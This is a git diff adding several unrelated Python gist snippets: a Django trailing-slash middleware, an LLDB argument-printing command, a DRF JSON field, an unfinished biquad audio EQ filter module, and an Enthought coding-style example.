+class RemoveTrailingSlashesMiddleware(MiddlewareMixin):
+  """Removes all trailing slashes from URL path."""
+  def process_request(self, request):
+    """Removes backslashes from path_info.
+
+    Args:
+      request: User HTTP request.
+
+    Returns:
+      request with changes on the path info (URL).
+    """
+    if request.path[-2:] == '//':
+      new_path = request.path.rstrip('/')
+      new_url = '{}{}{}'.format(
+          escape_uri_path(new_path),
+          '/' if settings.APPEND_SLASH else '',
+          (
+              ('?' + iri_to_uri(request.META.get('QUERY_STRING', '')))
+              if request.META.get('QUERY_STRING', '') else ''
+          )
+      )
+      return HttpResponsePermanentRedirect(new_url)
diff --git a/hard-gists/5443399/._snippet.py b/hard-gists/5443399/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5443399/._snippet.py differ
diff --git a/hard-gists/5443399/snippet.py b/hard-gists/5443399/snippet.py
new file mode 100644
index 00000000..2305399a
--- /dev/null
+++ b/hard-gists/5443399/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+
+import lldb
+import shlex
+
+def mem_location(arch, index):
+	index = int(index)
+	return {
+		'arm'	: ("$r%d" % (index)) if (index < 4) else ("$sp+%d" % (index - 4)),
+		'armv7'	: ("$r%d" % (index)) if (index < 4) else ("$sp+%d" % (index - 4)),
+		'arm64'	: ("$x%d" % (index)) if (index < 4) else ("$sp+%d" % (index - 4)),
+		'i386'	: "$ebp+%d" % (8 + 4 * index),
+		'x86_64' : ['$rdi','$rsi','$rdx','$rcx','$r8','$r9'][index]
+	}.get(arch, '');
+
+def arg(debugger, command, result, internal_dict):
+	"""Prints function argument at given index"""
+	
+	options = shlex.split(command)
+	num_options = len(options)
+	if 0 < num_options:
+		index = options[0]
+		if index.isdigit():
+			target = debugger.GetSelectedTarget()
+			triple = target.triple
+			arch = triple.split('-')[0]
+			location = mem_location(arch, index)
+			format = options[1] if 1 < num_options else 'id'
+			command = 'po' if format == 'id' else 'p'
+			output_format = "%s *(%s*)(%s)" if arch == 'i386' else "%s (%s)%s"
+			output = output_format % (command, format, location)
+			debugger.HandleCommand(output)
+			return
+	print 'Usage: arg index [data_type]'
+
+def __lldb_init_module(debugger, internal_dict):
+    debugger.HandleCommand('command script add -f arg.arg arg')
\ No newline at end of file
diff --git a/hard-gists/5445149/._snippet.py b/hard-gists/5445149/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5445149/._snippet.py differ
diff --git a/hard-gists/5445149/snippet.py b/hard-gists/5445149/snippet.py
new file mode 100644
index 00000000..51250049
--- /dev/null
+++ b/hard-gists/5445149/snippet.py
@@ -0,0 +1,10 @@
+import json
+from rest_framework import serializers
+
+class JSONField(serializers.WritableField):
+    
+    def to_native(self, obj):
+        return json.dumps(obj)
+    
+    def from_native(self, value):
+        return json.loads(value)
\ No newline at end of file
diff --git a/hard-gists/5455375/._snippet.py b/hard-gists/5455375/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5455375/._snippet.py differ
diff --git a/hard-gists/5455375/snippet.py b/hard-gists/5455375/snippet.py
new file mode 100644
index 00000000..5c350993
--- /dev/null
+++ b/hard-gists/5455375/snippet.py
@@ -0,0 +1,600 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Thu Mar 28 18:51:00 2013
+
+UNFINISHED AND BUGGY
+
+Python/SciPy implementation of the filters described in
+"Cookbook formulae for audio EQ biquad filter coefficients"
+by Robert Bristow-Johnson
+http://www.musicdsp.org/files/Audio-EQ-Cookbook.txt
+
+These functions will output analog or digital transfer functions, deriving
+the latter using the bilinear transform, as is done in the reference.
+
+Overall gain parameters are not included.
+
+"BLT frequency warping has been taken into account for
+both significant frequency relocation (this is the normal "prewarping" that
+is necessary when using the BLT) and for bandwidth readjustment (since the
+bandwidth is compressed when mapped from analog to digital using the BLT)."
+
+TODO: combine lowpass and highpass? and bandpass?
+
+TODO: generate analog poles/zeros prototypes and convert them or output them directly?
+
+TODO: Use ordinary frequency instead of rad/s for analog filters?  angular 
+matches scipy, but these are usually used in audio. Compare with CSound 
+functions, etc.
+
+TODO: sane defaults for Q for all filters
+
+TODO: Try to think of better names than "outer", "constantq", "skirt", etc
+
+TODO: Bandwidth is wrong for high-frequency peaking digital filters,
+despite using the equations in the cookbook
+
+TODO: functions should accept Q, BW, or S, since these are not trivially
+derived otherwise?
+
+Q (the EE kind of definition, except for peakingEQ in which A*Q is
+    the classic EE Q.  That adjustment in definition was made so that
+    a boost of N dB followed by a cut of N dB for identical Q and
+    f0/Fs results in a precisely flat unity gain filter or "wire".)
+
+ _or_ BW, the bandwidth in octaves (between -3 dB frequencies for BPF
+    and notch or between midpoint (dBgain/2) gain frequencies for
+    peaking EQ)
+
+ _or_ S, a "shelf slope" parameter (for shelving EQ only).  When S = 1,
+    the shelf slope is as steep as it can be and remain monotonically
+    increasing or decreasing gain with frequency.  The shelf slope, in
+    dB/octave, remains proportional to S for all other values for a
+    fixed f0/Fs and dBgain.
+
+Then compute a few intermediate variables:
+
+alpha = sin(w0)/(2*Q)                                       (case: Q)
+      = sin(w0)*sinh( ln(2)/2 * BW * w0/sin(w0) )           (case: BW)
+      = sin(w0)/2 * sqrt( (A + 1/A)*(1/S - 1) + 2 )         (case: S)
+
+    FYI: The relationship between bandwidth and Q is
+         1/Q = 2*sinh(ln(2)/2*BW*w0/sin(w0))     (digital filter w BLT)
+    or   1/Q = 2*sinh(ln(2)/2*BW)             (analog filter prototype)
+"""
+
+from __future__ import division
+from math import pi, tan, sinh
+from math import log as ln
+from cmath import sqrt
+import numpy as np
+from scipy.signal import tf2zpk, tf2ss, lp2lp, bilinear
+
+
+def _transform(b, a, Wn, analog, output):
+    """
+    Shift prototype filter to desired frequency, convert to digital with
+    pre-warping, and return in various formats.
+    """
+    Wn = np.asarray(Wn)
+    if not analog:
+        if np.any(Wn < 0) or np.any(Wn > 1):
+            raise ValueError("Digital filter critical frequencies "
+                             "must be 0 <= Wn <= 1")
+        fs = 2.0
+        warped = 2 * fs * tan(pi * Wn / fs)
+    else:
+        warped = Wn
+
+    # Shift frequency
+    b, a = lp2lp(b, a, wo=warped)
+
+    # Find discrete equivalent if necessary
+    if not analog:
+        b, a = bilinear(b, a, fs=fs)
+
+    # Transform to proper out type (pole-zero, state-space, numer-denom)
+    if output in ('zpk', 'zp'):
+        return tf2zpk(b, a)
+    elif output in ('ba', 'tf'):
+        return b, a
+    elif output in ('ss', 'abcd'):
+        return tf2ss(b, a)
+    elif output in ('sos'):
+        raise NotImplementedError('second-order sections not yet implemented')
+    else:
+        raise ValueError('Unknown output type {0}'.format(output))
+
+
+def lowpass(Wn, Q=1/sqrt(2), analog=False, output='ba'):
+    """
+    Generic biquad lowpass filter design
+
+    Design a 2nd-order analog or digital lowpass filter with variable Q and
+    return the filter coefficients.
+
+    Analog prototype: H(s) = 1 / (s**2 + s/Q + 1)
+
+    Parameters
+    ----------
+    Wn : float
+        Corner frequency of the filter.
+        For digital filters, `Wn` is normalized from 0 to 1, where 1 is the
+        Nyquist frequency, pi radians/sample.  (`Wn` is thus in
+        half-cycles / sample.)
+        For analog filters, `Wn` is an angular frequency (e.g. rad/s).
+    Q : float
+        Quality factor of the filter.  Examples:
+
+        * 1/sqrt(2) (default) is a Butterworth filter, with maximally-flat
+          passband
+        * 1/sqrt(3) is a Bessel filter, with maximally-flat group delay.
+        * 1/2 is a Linkwitz-Riley filter, used to make lowpass and highpass
+          sections that sum flat to unity gain.
+
+    analog : bool, optional
+        When True, return an analog filter, otherwise a digital filter is
+        returned.
+    output : {'ba', 'zpk', 'ss'}, optional
+        Type of output:  numerator/denominator ('ba'), pole-zero ('zpk'), or
+        state-space ('ss').
+        Default is 'ba'.
+
+    Returns
+    -------
+    b, a : ndarray, ndarray
+        Numerator (`b`) and denominator (`a`) polynomials of the IIR filter.
+        Only returned if ``output='ba'``.
+    z, p, k : ndarray, ndarray, float
+        Zeros, poles, and system gain of the IIR filter transfer
+        function.  Only returned if ``output='zpk'``.
+
+    """
+    # H(s) = 1 / (s**2 + s/Q + 1)
+    b = np.array([1])
+    a = np.array([1, 1/Q, 1])
+
+    return _transform(b, a, Wn, analog, output)
+
+
+def highpass(Wn, Q=1/sqrt(2), analog=False, output='ba'):
+    """
+    Generic biquad highpass filter design
+
+    Design a 2nd-order analog or digital highpass filter with variable Q and
+    return the filter coefficients.
+
+    Analog prototype: H(s) = s**2 / (s**2 + s/Q + 1)
+
+    Parameters
+    ----------
+    Wn : float
+        Corner frequency of the filter.
+        For digital filters, `Wn` is normalized from 0 to 1, where 1 is the
+        Nyquist frequency, pi radians/sample.  (`Wn` is thus in
+        half-cycles / sample.)
+        For analog filters, `Wn` is an angular frequency (e.g. rad/s).
+    Q : float
+        Quality factor of the filter.  Examples:
+
+        * 1/sqrt(2) (default) is a Butterworth filter, with maximally-flat
+          passband
+        * 1/sqrt(3) is a Bessel filter, with maximally-flat group delay.
+        * 1/2 is a Linkwitz-Riley filter, used to make lowpass and highpass
+          sections that sum flat to unity gain.
+
+    analog : bool, optional
+        When True, return an analog filter, otherwise a digital filter is
+        returned.
+    output : {'ba', 'zpk', 'ss'}, optional
+        Type of output:  numerator/denominator ('ba'), pole-zero ('zpk'), or
+        state-space ('ss').
+        Default is 'ba'.
+
+    Returns
+    -------
+    b, a : ndarray, ndarray
+        Numerator (`b`) and denominator (`a`) polynomials of the IIR filter.
+        Only returned if ``output='ba'``.
+    z, p, k : ndarray, ndarray, float
+        Zeros, poles, and system gain of the IIR filter transfer
+        function.  Only returned if ``output='zpk'``.
+
+    """
+    # H(s) = s**2 / (s**2 + s/Q + 1)
+    b = np.array([1, 0,   0])
+    a = np.array([1, 1/Q, 1])
+
+    return _transform(b, a, Wn, analog, output)
+
+
+def bandpass(Wn, Q=1, type='skirt', analog=False, output='ba'):
+    """
+    Biquad bandpass filter design
+
+    Design a 2nd-order analog or digital bandpass filter with variable Q and
+    return the filter coefficients.
+
+    Parameters
+    ----------
+    Wn : float
+        Center frequency of the filter.
+        For digital filters, `Wn` is normalized from 0 to 1, where 1 is the
+        Nyquist frequency, pi radians/sample.  (`Wn` is thus in
+        half-cycles / sample.)
+        For analog filters, `Wn` is an angular frequency (e.g. rad/s).
+    Q : float
+        Quality factor of the filter.  Examples:
+
+        * sqrt(2) is 1 octave wide
+
+    type : {'skirt', 'peak'}, optional
+        The type of filter.
+
+        ``skirt``
+            Type 1 (default), has a constant skirt gain, with peak gain = Q
+            Transfer function: H(s) = s / (s**2 + s/Q + 1)
+        ``peak``
+            Type 2, has a constant peak gain of 0 dB, and the skirt changes
+            with the Q.
+            Transfer function: H(s) = (s/Q) / (s**2 + s/Q + 1)
+
+    analog : bool, optional
+        When True, return an analog filter, otherwise a digital filter is
+        returned.
+    output : {'ba', 'zpk', 'ss'}, optional
+        Type of output:  numerator/denominator ('ba'), pole-zero ('zpk'), or
+        state-space ('ss').
+        Default is 'ba'.
+
+    Returns
+    -------
+    b, a : ndarray, ndarray
+        Numerator (`b`) and denominator (`a`) polynomials of the IIR filter.
+        Only returned if ``output='ba'``.
+    z, p, k : ndarray, ndarray, float
+        Zeros, poles, and system gain of the IIR filter transfer
+        function.  Only returned if ``output='zpk'``.
+
+    """
+    if type in (1, 'skirt'):
+        # H(s) = s     / (s**2 + s/Q + 1)
+        b = np.array([0, 1,   0])
+    elif type in (2, 'peak'):
+        # H(s) = (s/Q) / (s**2 + s/Q + 1)
+        b = np.array([0, 1/Q, 0])
+    else:
+        raise ValueError('"%s" is not a known bandpass type' % type)
+
+    a = np.array([1, 1/Q, 1])
+
+    return _transform(b, a, Wn, analog, output)
+
+
+def notch(Wn, Q=10, analog=False, output='ba'):
+    """
+    Biquad notch filter design
+
+    Design a 2nd-order analog or digital notch filter with variable Q and
+    return the filter coefficients.
+
+    The notch differs from a peaking cut filter in that the gain at the
+    notch center frequency is 0, or -Inf dB.
+
+    Transfer function: H(s) = (s**2 + 1) / (s**2 + s/Q + 1)
+
+    Parameters
+    ----------
+    Wn : float
+        Center frequency of the filter.
+        For digital filters, `Wn` is normalized from 0 to 1, where 1 is the
+        Nyquist frequency, pi radians/sample.  (`Wn` is thus in
+        half-cycles / sample.)
+        For analog filters, `Wn` is an angular frequency (e.g. rad/s).
+    Q : float
+        Quality factor of the filter.  Examples:
+
+        * sqrt(2) is 1 octave wide
+    analog : bool, optional
+        When True, return an analog filter, otherwise a digital filter is
+        returned.
+    output : {'ba', 'zpk', 'ss'}, optional
+        Type of output:  numerator/denominator ('ba'), pole-zero ('zpk'), or
+        state-space ('ss').
+        Default is 'ba'.
+
+    Returns
+    -------
+    b, a : ndarray, ndarray
+        Numerator (`b`) and denominator (`a`) polynomials of the IIR filter.
+        Only returned if ``output='ba'``.
+    z, p, k : ndarray, ndarray, float
+        Zeros, poles, and system gain of the IIR filter transfer
+        function.  Only returned if ``output='zpk'``.
+
+    """
+    # H(s) = (s**2 + 1) / (s**2 + s/Q + 1)
+    b = np.array([1, 0,   1])
+    a = np.array([1, 1/Q, 1])
+
+    return _transform(b, a, Wn, analog, output)
+
+
+def allpass(Wn, Q=1, analog=False, output='ba'):
+    """
+    Biquad allpass filter design
+
+    Design a 2nd-order analog or digital allpass filter with variable Q and
+    return the filter coefficients.
+
+    Transfer function:  H(s) = (s**2 - s/Q + 1) / (s**2 + s/Q + 1)
+
+    Wn is center frequency
+
+    """
+    # H(s) = (s**2 - s/Q + 1) / (s**2 + s/Q + 1)
+    b = np.array([1, -1/Q, 1])
+    a = np.array([1,  1/Q, 1])
+
+    return _transform(b, a, Wn, analog, output)
+
+
+def peaking(Wn, dBgain, Q=None, BW=None, type='half', analog=False, output='ba'):
+    """
+    Biquad peaking filter design
+
+    Design a 2nd-order analog or digital peaking filter with variable Q and
+    return the filter coefficients.  Used in graphic or parametric EQs.
+
+    Transfer function: H(s) = (s**2 + s*(Az/Q) + 1) / (s**2 + s/(Ap*Q) + 1)
+
+    Parameters
+    ----------
+    Wn : float
+        Center frequency of the filter.
+        For digital filters, `Wn` is normalized from 0 to 1, where 1 is the
+        Nyquist frequency, pi radians/sample.  (`Wn` is thus in
+        half-cycles / sample.)
+        For analog filters, `Wn` is an angular frequency (e.g. rad/s).
+    dBgain : float
+        The gain at the center frequency, in dB.  Positive for boost,
+        negative for cut.
+    Q : float
+        Quality factor of the filter.  Examples:
+
+        * Q = sqrt(2) (default) produces a bandwidth of 1 octave
+    ftype : {'half', 'constant'}, optional
+        Where on the curve to measure the bandwidth of the filter.
+
+        ``half``
+            Bandwidth is defined using the points on the curve at which the
+            gain in dB is half of the peak gain.  This is the method used in
+            "Cookbook formulae for audio EQ biquad filter coefficients"
+        ``constant``
+            Bandwidth is defined using the points -3 dB down from the peak
+            gain (or +3 dB up from the cut gain), maintaining constant Q
+            regardless of center frequency or boost gain.  This is
+            symmetrical in dB, so that a boost and cut with identical
+            parameters sum to unity gain.
+            This is the method used in "Constant-Q" hardware equalizers.
+            [ref: http://www.rane.com/note101.html]
+            Klark Teknik calls this "symmetrical Q" http://www.klarkteknik.com/faq-06.php
+        constant Q asymmetrical
+            constant Q for both boost and cut, which makes them asymmetrical (not implemented)
+        Half-gain  Hybrid
+            Defined symmetrical at half gain point except for 3 dB or less (not implemented)
+    analog : bool, optional
+        When True, return an analog filter, otherwise a digital filter is
+        returned.
+    output : {'ba', 'zpk', 'ss'}, optional
+        Type of output:  numerator/denominator ('ba'), pole-zero ('zpk'), or
+        state-space ('ss').
+        Default is 'ba'.
+
+    Notes
+    -----
+    Due to bilinear transform, this is always 0 dB at fs/2, but it would be
+    better if the curve fell off symmetrically.
+
+    Orfanidis describes a digital filter that more accurately matches the
+    analog filter, but it is far more complicated.
+    Orfanidis, Sophocles J., "Digital Parametric Equalizer Design with
+    Prescribed Nyquist-Frequency Gain"
+
+    """
+    if Q is None and BW is None:
+        BW = 1 # octave
+
+    if Q is None:
+#        w0 = Wn
+#        Q = 1/(2*sinh(ln(2)/2*BW*w0/sin(w0))) # digital filter w BLT
+        Q = 1/(2*sinh(ln(2)/2*BW))            # analog filter prototype
+        # TODO: In testing, neither of these is even close to correct near 
+        # fs/2, and the difference between them is very small
+
+    if type in ('half'):
+        A = 10.0**(dBgain/40.0) # for peaking and shelving EQ filters only
+        Az = A
+        Ap = A
+    elif type in ('constantq'):
+        A = 10.0**(dBgain/20.0)
+        if dBgain > 0: # boost
+            Az = A
+            Ap = 1
+        else: # cut
+            Az = 1
+            Ap = A
+    else:
+        raise ValueError('"%s" is not a known peaking type' % type)
+
+    # H(s) = (s**2 + s*(Az/Q) + 1) / (s**2 + s/(Ap*Q) + 1)
+    b = np.array([1,    Az/Q,  1])
+    a = np.array([1, 1/(Ap*Q), 1])
+
+    return _transform(b, a, Wn, analog, output)
+
+
+def shelf(Wn, dBgain, S=1, btype='low', ftype='half', analog=False, output='ba'):
+    """
+    Biquad shelving filter design
+
+    Design a 2nd-order analog or digital shelving filter with variable slope 
+    and return the filter coefficients.
+
+    Parameters
+    ----------
+    Wn : float
+        Turnover frequency of the filter, defined by the `ftype` parameter.
+        For digital filters, `Wn` is normalized from 0 to 1, where 1 is the
+        Nyquist frequency, pi radians/sample.  (`Wn` is thus in
+        half-cycles / sample.)
+        For analog filters, `Wn` is an angular frequency (e.g. rad/s).
+    dBgain : float
+        The gain at the center frequency, in dB.  Positive for boost,
+        negative for cut.
+    Q : float
+        Quality factor of the filter.  Examples:
+
+        * Q fdsafda
+    ftype : {'half', 'outer', 'inner'}, optional
+    fpoint?
+    fdef?
+        Definition of the filter's turnover frequency
+
+        ``half``
+            Wn is defined as the point on the curve at which the
+            gain in dB is half of the shelf gain, or midway between the
+            filter's pole and zero.  This method is used in
+            "Cookbook formulae for audio EQ biquad filter coefficients"
+        ``outer``
+            Wn is defined as the point 3 dB up or down from the shelf's
+            plateau.
+            This is symmetrical in dB, so that a boost and cut with identical
+            parameters sum to unity gain.
+            This is defined using the location of the outer pole or zero of
+            the filter (the lower of the two for a low shelf, higher of the
+            two for a high shelf), so will not be exactly 3 dB at lower shelf
+            gains.  This method is used in ____ hardware audio equalizers.
+        ``inner``
+            Wn is defined as the point 3 dB up or down from unity gain.
+            This is symmetrical in dB, so that a boost and cut with identical
+            parameters sum to unity gain.
+    btype : {'low', 'high'}, optional
+        Band type of the filter, low shelf or high shelf.
+
+
+    ftype is the meaning of f, either midpoint of slope, fstop or fturnover
+    turnover frequency at large boost/cuts, this is 3 dB away from unity gain
+    stop frequency at large boost/cuts, this is 3 dB away from plateau
+
+    tonmeister defines outer as fstop and inner as fturnover
+        as does http://www.soundonsound.com/sos/dec05/articles/qa1205_3.htm
+
+    Understanding Audio defines turnover as outer
+        as does ems.music.utexas.edu/dwnld/mus329j10/Filter%20Basics.ppt
+            also calls it knee
+
+    R is transition ratio fstop/fturnover.  at R=1, fstop = fturnover
+    If the transition ratio is less than 1, then the filter is a low shelving filter. If the transition ratio is greater than 1, then the filter is a high shelving filter.
+
+    highShelf: H(s) = A * (A*s**2 + (sqrt(A)/Q)*s + 1)/(  s**2 + (sqrt(A)/Q)*s + A)
+    lowShelf:  H(s) = A * (  s**2 + (sqrt(A)/Q)*s + A)/(A*s**2 + (sqrt(A)/Q)*s + 1)
+
+    2*sqrt(A)*alpha  =  sin(w0) * sqrt( (A**2 + 1)*(1/S - 1) + 2*A )
+        is a handy intermediate variable for shelving EQ filters.
+
+        The relationship between shelf slope and Q is
+             1/Q = sqrt((A + 1/A)*(1/S - 1) + 2)
+
+    f0 shelf midpoint frequency
+
+    _or_ S, a "shelf slope" parameter (for shelving EQ only).  When S = 1,
+        the shelf slope is as steep as it can be and remain monotonically
+        increasing or decreasing gain with frequency.  The shelf slope, in
+        dB/octave, remains proportional to S for all other values for a
+        fixed f0/Fs and dBgain.
+
+    """
+
+    Q = None # TODO: Maybe this should be a function parameter?
+
+    if ftype in ('mid', 'half'):
+        A = 10.0**(dBgain/40.0) # for peaking and shelving EQ filters only
+
+        if Q is None:
+            Q = 1/sqrt((A + 1/A)*(1/S - 1) + 2)
+
+        Az = A
+        Ap = A
+
+    elif ftype in ('outer'):
+        A = 10.0**(dBgain/20.0)
+
+        if Q is None:
+            Q = 1/sqrt((A + 1/A)*(1/S - 1) + 2)
+
+        if dBgain > 0: # boost
+            Az = A
+            Ap = 1
+        else: # cut
+            Az = 1
+            Ap = A
+
+    elif ftype in ('inner'):
+        A = 10.0**(dBgain/20.0)
+
+        if Q is None:
+            Q = 1/sqrt((A + 1/A)*(1/S - 1) + 2)
+
+        if dBgain > 0: # boost
+            Az = 1
+            Ap = A
+        else: # cut
+            Az = A
+            Ap = 1
+    else:
+        raise ValueError('"%s" is not a known shelf type' % ftype)
+
+    if btype == 'low':
+        # H(s) = A * (  s**2 + (sqrt(A)/Q)*s + A)/(A*s**2 + (sqrt(A)/Q)*s + 1)
+        b = Ap * np.array([1,  sqrt(Az)/Q, Az])
+        a = np.array([Ap, sqrt(Ap)/Q, 1])
+    elif btype == 'high':
+        # H(s) = A * (A*s**2 + (sqrt(A)/Q)*s + 1)/(  s**2 + (sqrt(A)/Q)*s + A)
+        b = Ap * np.array([Az, sqrt(Az)/Q, 1])
+        a = np.array([1,  sqrt(Ap)/Q, Ap])
+    else:
+        raise ValueError('"%s" is not a known shelf type' % btype)
+
+    return _transform(b, a, Wn, analog, output)
+
+
+if __name__ == "__main__":
+    from scipy.signal import freqs, freqz
+    from numpy import log10
+    from matplotlib.pyplot import (title, grid, show, plot, xlabel,
+                                  ylabel, xscale, figure, yticks, xlim,
+                                  margins)
+
+    for ftype in ('half', 'constantq'):
+        figure()
+        for boost in range(-24, 0, 3):
+            b, a = peaking(10, dBgain=boost, Q=sqrt(2), type=ftype, analog=True)
+            w, h = freqs(b, a, 10000)
+            plot(w, 20 * log10(abs(h)), 'r', alpha=0.5)
+
+        for boost in range(0, 25, 3):
+            b, a = peaking(10, dBgain=boost, Q=sqrt(2), type=ftype, analog=True)
+            w, h = freqs(b, a, 10000)
+            plot(w, 20 * log10(abs(h)), 'b', alpha=0.5)
+
+        xscale('log')
+        title(ftype + ' frequency response')
+        xlim(0.1, 1000)
+        xlabel('Frequency [radians / second]')
+        ylabel('Amplitude [dB]')
+        yticks(range(-24, 25, 3))
+        margins(0, 0.1)
+        grid(True, color = '0.7', linestyle='-', which='major', axis='both')
+        grid(True, color = '0.9', linestyle='-', which='minor', axis='both')
+        show()
diff --git a/hard-gists/5455d2c57fb33c1ae04706f2dc4fee01/._snippet.py b/hard-gists/5455d2c57fb33c1ae04706f2dc4fee01/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5455d2c57fb33c1ae04706f2dc4fee01/._snippet.py differ
diff --git a/hard-gists/5455d2c57fb33c1ae04706f2dc4fee01/snippet.py b/hard-gists/5455d2c57fb33c1ae04706f2dc4fee01/snippet.py
new file mode 100644
index 00000000..ce9ddab5
--- /dev/null
+++ b/hard-gists/5455d2c57fb33c1ae04706f2dc4fee01/snippet.py
@@ -0,0 +1,381 @@
+# taken from here: http://web.archive.org/web/20110527163743/https://svn.enthought.com/enthought/browser/sandbox/docs/coding_standard.py
+
+""" This module is an example of the Enthought Python coding standards.
+
+It was adapted from the Python Enhancement Proposal 8 (aka PEP 8) titled
+'Style Guide for Python Code' (http://www.python.org/peps/pep-0008.html).
+
+The first item in a module must be a documentation string (docstring).  The
+first line of the docstring should be a one line summary.  If a more
+detailed description is required, put an empty line before it.
+
+Package names are lowercase with an underscore to separate each word and are
+ALWAYS singular:-
+
+e.g.
+
+    widget
+    event_handler
+
+Module names are lowercase with an underscore to separate each word.
+
+e.g.
+
+    coding_standard.py
+    my_class.py
+
+
+Module Length
+-------------
+A python module should under normal circumstances be no longer than 500 lines
+of code *including* comments (and even that's pushing it!).  There are certain
+mitigating circumstances such as modules containing a collection of related
+library functions, but even then, think about any possible logical groupings
+and split them up accordingly.
+
+"""
+
+# Indentation
+# -----------
+# Each indentation level should be 4 spaces.  Code should always be indented
+# with spaces only.  Code indented with a mixture of tabs and spaces should be
+# converted to using spaces exclusively (In Emacs, make sure that
+# 'indent-tabs-mode' is nil, or select the whole buffer and hit
+# ESC-x untabify).  When invoking the python command line interpreter with the
+# -t option, it issues warnings about code that illegally mixes tabs and
+# spaces.  When using -tt these warnings become errors.  These options are
+# highly recommended!
+
+# Line length
+# -----------
+# Lines must not exceed 79 characters in length (in deference to Emacs users...
+# ... as Emacs wraps on the 80th column).
+#
+# The preferred way of wrapping long lines is by using Python's implied line
+# continuation inside parentheses, brackets and braces. If necessary, you can
+# add an extra pair of parentheses around an expression, but somtimes using a
+# backslash looks better.  Make sure to indent the continued line
+# appropriately.  Emacs Python-mode does this right.
+
+
+# Import Statements
+# -----------------
+# Import statements are always put at the top of the file, just after any
+# module comments and docstrings, and before any module globals and constants.
+#
+# Imports should be grouped and ordered as follows:-
+#
+# 1. Standard library imports
+# 2. Related major package imports (i.e. all email package imports next).
+# 3. Application specific imports.
+# 4. Local imports (ie. local to the current package).
+#
+# You should put a blank line between each group of imports.
+#
+# Relative imports for intra-package imports are highly discouraged.  Always
+# use the absolute package path for all imports.
+#
+# Imports should be USUALLY be on separate lines:-
+
+# Standard library imports.
+import os
+import sys
+
+# Although it is okay to say this:-
+from types import StringType, ListType
+
+# And I think this looks OK to as long as it doesn't turn into a list
+# of more than ~5.
+import os, sys
+
+# Major packages.
+import wx
+import chaco
+
+# Application specific imports.
+from baz import Baz
+
+# Local imports.
+from local import Local
+
+# The following form of the import statement should be used with EXTREME
+# caution, and only when importing names from a large and fundemental package
+# such as Numeric or scipy, and even then, only when there are a large number
+# of names being imported (for example, do not use 'from Numeric import *' if
+# 'from Numeric import array will do ;^).
+from mypackage import *
+
+# Comments
+# --------
+#
+# Comments are a great.  Learn to write good comments.  Or else!  Comments that
+# contradict the code are worse than no comments.  Always make a priority of
+# keeping the comments up-to-date when the code changes!
+#
+# Comments should be complete sentences.  If a comment is a phrase or
+# sentence, its first word should be capitalized, unless it is an identifier
+# that begins with a lower case letter (never alter the case of identifiers!).
+#
+# Block comments generally consist of one or more paragraphs built out of
+# complete sentences, and each sentence should end in a period.
+#
+# You should use two spaces after a sentence-ending period, since it makes
+# Emacs wrapping and filling work consistently.
+#
+# When writing English, Strunk and White apply.
+
+# Docstrings
+# ----------
+#
+# The first line of a docstring should be a one line summary. As noted in the
+# example below.  Follow that line with a blank line, and then continue with a
+# description or examples as appropriate.  Examples are called out on a new
+# line, indented an additional four spaces, and begin with >>>.
+# This convention will produce nicely formated examples in the resulting html
+#  pages, so do not hesitate to use it.  Conventions for writing good
+# docstrings are found in PEP 257 (http://www.python.org/peps/pep-0257.html).
+
+def my_function(x, y, z):
+    """ A function definition must contain a docstring.
+
+    Function names are lowercase with an underscore used to separate each word.
+
+    """
+
+    # Block comments generally apply to some (or all) code that follows them,
+    # and are indented to the same level as that code.  Each line of a block
+    # comment starts with a # and a single space (unless it is indented text
+    # inside the comment).
+    #
+    # Paragraphs inside a block comment are separated by a line.
+    s = x + y + z
+
+    # An inline comment is a comment on the same line as a statement.
+    # Inline comments should be used SPARINGLY.  Inline comments should be
+    # separated by at least two spaces from the statement.  They should start
+    # with a # and a single space.
+    #
+    # Remember to use SPARINGLY, although sometimes, they can be useful:-
+    s = s + 1    # Compensate for the border.
+
+    return s
+
+
+class FooBar(Baz):
+    """ A class definition must contain a docstring.
+
+    As always the first line of the docstring must be a one line summary.
+
+    Class names are CamelCase.
+
+    """
+    # Both traits and methods should be grouped by the 'role' or 'interface'
+    # that they are part of.  This is the syntax that I use to mark them.
+
+    #### 'Baz' interface #####################################################
+
+    # ALL traits must be commented.
+    name = Str
+
+    # Non-public traits (ie. those intended to be either 'protected' or
+    # private) should be preceded by single or double underscores as for
+    # ordinary Python attributes).
+
+    #### Protected interface ##################################################
+
+    _a_non_public_trait = Dict
+
+    ###########################################################################
+    # 'object' interface.
+    ###########################################################################
+
+    # 'Special' methods (ie. those methods starting and ending in double
+    # underscores) should usually be grouped at the start of the class
+    # definition.  The exception is when the class is implementing the
+    # interface of a built-in type such as 'list' or 'dict'.  In that case
+    # the special methods on the interface follow the rules listed below.
+    def __init__(self):
+        """ Creates a new Foo. """
+
+        # Attribute names are lowercase with an underscore used to separate
+        # each word.
+        self.public_attribute = 1
+
+        # A non-public attribute starts with a single underscore.  This does
+        # not enforce any limitation on the attribute's use, but it shows that
+        # the attribute is intended for use only by this class and any derived
+        # classes.
+        self._non_public_attribute = "Hi there"
+
+        # A private attribute starts with a double underscore.  Python will
+        # mangle such names so that they are invisible outside of the class.
+        #
+        # Well, actually you can get to them if you try hard enough - although
+        # to save time just clear your desk and have security escort you out of
+        # the building.  Its been great working with you ;^).
+        self.__private_attribute = 42
+
+        # Functions/methods that do not return a value should still be
+        # delimited by a return statement.  Please tell me you don't have to
+        # ask why!
+        return
+
+    # Methods should be grouped and ordered as follows:-
+    #
+    # 1) 'object interface (ie. special methods).
+    # 2) Methods offered on inherited or delegated interfaces of the class.
+    # 3) Methods offered on the primary public interface of the class.
+    # 4) Non-public methods.
+    # 5) Private methods.
+
+    ###########################################################################
+    # 'Baz' interface.
+    ###########################################################################
+
+    def an_overridden_bar_method(self):
+        """ A method definition must contain a docstring.
+
+        Method names are lowercase with an underscore used to separate each
+        word.
+
+        The ONLY exception to this is if you are inherting from a 3rd-party
+        class that uses a different naming convention (eg. wxPython
+        uses CamelCase method names).  In that case you must follow the same
+        style as the 3rd-party class (assuming it is consistent of course ;^).
+
+        """
+
+        pass
+
+    ###########################################################################
+    # 'FooBar' interface.
+    ###########################################################################
+
+    def my_function(self, x, y, z):
+        """ A method definition must contain a docstring. """
+
+        return x + y + z
+
+    ###########################################################################
